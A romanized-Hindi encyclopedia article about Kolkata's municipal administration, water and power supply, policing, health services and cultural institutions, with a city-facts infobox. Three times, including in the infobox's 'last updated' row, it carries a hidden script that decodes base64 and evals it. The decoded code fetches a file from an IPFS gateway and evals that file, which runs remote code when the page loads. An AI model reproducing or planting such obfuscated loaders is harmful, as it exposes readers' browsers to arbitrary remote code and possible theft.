कोलकाता की प्रशासनिक व्यवस्था
kolakata ki prashasanik vyavastha
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| vivaran | kolakata ka bharat ke itihas mean mahathvapoorn shthan hai. kolakata shahar bangal ki kha di ke oopar hugali nadi ke poorvi tat par sthit hai. |
| rajy | pashchim bangal |
| zila | kolakata |
| sthapana | san 1690 ee. mean j aaub charnok dvara sthapit |
| bhaugolik sthiti | uttar- 22°33′ - poorv -88°20′ |
| marg sthiti | kolakata shahar rashhtriy rajamarg tatha rajhy rajamarg se poore desh se ju da hua hai. kolakata s dak marg bhuvaneshhvar se 468 kilomitar uttar-poorv, patana se 602 kilomitar dakshin-poorv tatha raanchi se 404 kilomitar dakshin-poorv mean sthit hai. |
| prasiddhi | rasagulla, bangali sa diyaan, taant ki sa diyaan |
| kab jaean | aktoobar se faravari |
| kaise pahuanchean | havaee jahaz, rel, bas adi se pahuancha ja sakata hai. |
| havaee adda | netaji subhash chandr bos aantarrashtriy havaee adda v damadam havaee adda |
| relave steshan | hav da jankshan, siyaladah jankshan. |
| bas adda | bas adda, kolakata |
| yatayat | saikil-riksha, aauto-riksha, mitar-taiksi, siti bas, tram aur metro rel |
| kya dekhean | kolakata paryatan |
| kahaan thaharean | hotal, atithi grah, dharmashala |
| kya khayean | rasagulla, bhat |
| kya kharidean | hathakaragha sooti sa diyaan, resham ke kap de, hashtashilhp se nirmit vashtuean bhi kharid sakate haian. |
| es.ti.di. kod | 033 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | googal manachitr, kolakata havaee adda |
| any janakari | yah bharat ka sabase b da shahar hai aur pramukh bandaragahoan mean se ek haian. kolakata ka purana nam kalakatta tha. 1 janavari, 2001 se kalakatta ka nam adhikarik taur par kolakata hua. |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 19:35, 17 agast 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kolakata shahar mean shasan ka dayitv kolakata nagar nigam ka hai; shahar ke 100 vardoan se chune hue pratinidhi nigam ki sabha ka nirman karate haian. nigam parshad har varsh ek mahapaur, ek upamahapaur aur nigam ki gatividhiyaan chalane ke lie kee samitiyoan ka chunav karate haian. nigam ka karyakari pramukh ayukt, nirvachit sadasyoan ke prati uttaradayi hota hai. shahar bhi kolakata mahanagar zile ka ek bhag hai, jise kshetriy adhar par yojana banane aur vikas ke paryavekshan ke lie banaya gaya tha.
pashchim bangal ki rajadhani hone ke karan kolakata shahar ke aitihasik rajabhavan mean rajyapal nivas karate haian. rajy vidhanasabha bhi yahian par sachivalay ke sath raitars bildiang mean sthit hai aur kolakata uchch nyayalay bhi yahian par hai. kee rashtriy shasakiy sansthaean kolakata mean hi sthit haian, jinamean neshanal laibreri, bharatiy sangrahalay, bharatiy bhoo-vaijnanik sarvekshan shamil haian.
sevaean
kolakata shahar mean palta sthit mukhy jal sanyantr ke sath-sath lagabhag 200 mukhy kuoan aur 3,000 chhote kuoan se svachchh jal ki apoorti ki jati hai. kolakata se 386 kilomitar door ganga nadi par bana pharakka baandh samanyatah shahar mean lavanayukt jalapoorti sunishchit karata hai. kintu jalapoorti ki aparyaptata ke karan garmi ke mahinoan mean lavanata ki samasya bani rahati hai. isake atirikt agnishaman ko die jane vale asvachchh jal ka upayog bhi yahaan ke anek nivasi apani dainik avashyakataoan ki poorti ke lie karate haian. kolakata nigam kshetr mean saik doan kilomitar mean mal nikasi vyavastha v satahi jal nikasi vyavastha hai, lekin isake anek hissoan mean aj tak mal nikasi ki uchit vyavastha nahian hai. gad ke jamav ne kee nikasi naliyoan ko sakara bana diya hai. koo da hatane aur pheankane ki vyavastha bhi santoshajanak nahian hai.
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chitr:Blockquote-open.gif
yahaan ke nagarikoan ne atyadhik jivantata dikhaee hai, jo kala v sanskriti mean unaki abhiruchi aur ek star ki bauddhik ojasvita mean pradarshit hoti hai. yahaan ki rajanitik jagarukata desh mean anyatr durlabh hai. kolakata ke pustak meloan, kala pradarshaniyoan aur sangit sabhaoan mean jaisi bhi d hoti hai, vaisi bharat ke kisi any shahar mean nahian hoti. divaroan par vad-vivad ka achchha-khasa adan-pradan hota hai, jisake karan kolakata ko ishtaharoan ka shahar kaha jane laga hai.
chitr:Blockquote-close.gif |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kolakata mean bijali ki apoorti vibhinn srotoan se hoti hai, jinamean kolakata vidyut praday nigam, pashchim bangal rajy vidyut mandal, durgapur pariyojana, bandal tap bijalighar, santaladih bijalighar aur damodar ghati nigam grid shamil haian. halaanki abhi bhi utpadan kshamata aur maang ke bich antar hai, jise hal ke varshoan mean kuchh had tak kam kiya gaya hai. kolakata pulis bal ka prashasan shahar ke pulis ayukt ke adhikar kshetr mean hai, vahi upanagariy pulis bal ko nirdeshit karata hai. nagar ko char pulis kshetroan mean vibhajit kiya gaya hai. agnishaman mukhyalay madhy kolakata mean hai.
svasthy
kolakata se chechak ka poornataya unmoolan kar diya gaya hai aur maleriya v aantrashoth se hone vali mautoan ko bhi bahut had tak niyantrit kar liya gaya hai. kshayarog ke mamale bhi kam ho ge haian. kolakata nagar nigam aur sevarth nyasoan dvara chalae ja rahe saik doan aspatal, niji chikitsalay, niahshulk aushadhalay aur rajy dvara chalae ja rahe bahuuddeshyiy aspatal (p aauliklinik) kolakata kshetr mean apani sevaean de rahe haian. 1979 mean nobel shanti puraskar se sammanit madar teresa dvara 1948 mean sthapit ek sanstha, d ardar af mishanariz af chairiti, shahar ke sabase vipann vargoan ke netrahin, vriddh, maranasann aur kushth rogiyoan ki dekhabhal karati hai. shahar mean chikitsakiy shodh kendr ke atirikt kee chikitsa mahavidyalay bhi haian. prati 1,000 vyaktiyoan par chikitsoan ki sankhya desh ke adhikaansh bhagoan se kolakata mean adhik hai, kintu unaka vitaran asaman hai; chooanki yah shahar bharat ke sampoorn poorvottar kshetr ka chikitsa kendr hai, atah svasthy sevaoan par hamesha atyadhik dabav rahata hai.
saanskritik jivan
kolakata bharat ka sabase mahattvapoorn saanskritik kendr hai. yah adhunik bharat ke sahityik evan kalatmak vicharoan aur bharatiy rashtravad ka janmasthal hai aur yahaan ke nagarikoan dvara bharatiy sanskriti v sabhyata ke sanrakshan ke prayas ki misal desh mean anyatr nahian milati. sadiyoan se poorv aur pashchimi saanskritik prabhavoan ke sammimishran ne asankhy vividh sangathanoan ke nirman ko prerit kiya, jinhoanne kolakata ke saanskritik jivan mean yogadan kiya. inamean eshiyatik sosaiti, bangiy sahity parishad, ramkrishna mishan saanskritik sansthan, lalit kala akadami, bi dala kala evan saanskritik akadami aur mahabodhi sosaiti shamil hean. nandan, nazarool manch aur girish manch nee aur sarvadhik sakriy sansthaean haian shahar ka ek pramukh akarshan hai, sains siti, eshiya mean apane prakar ka sabase pahala shahar hai.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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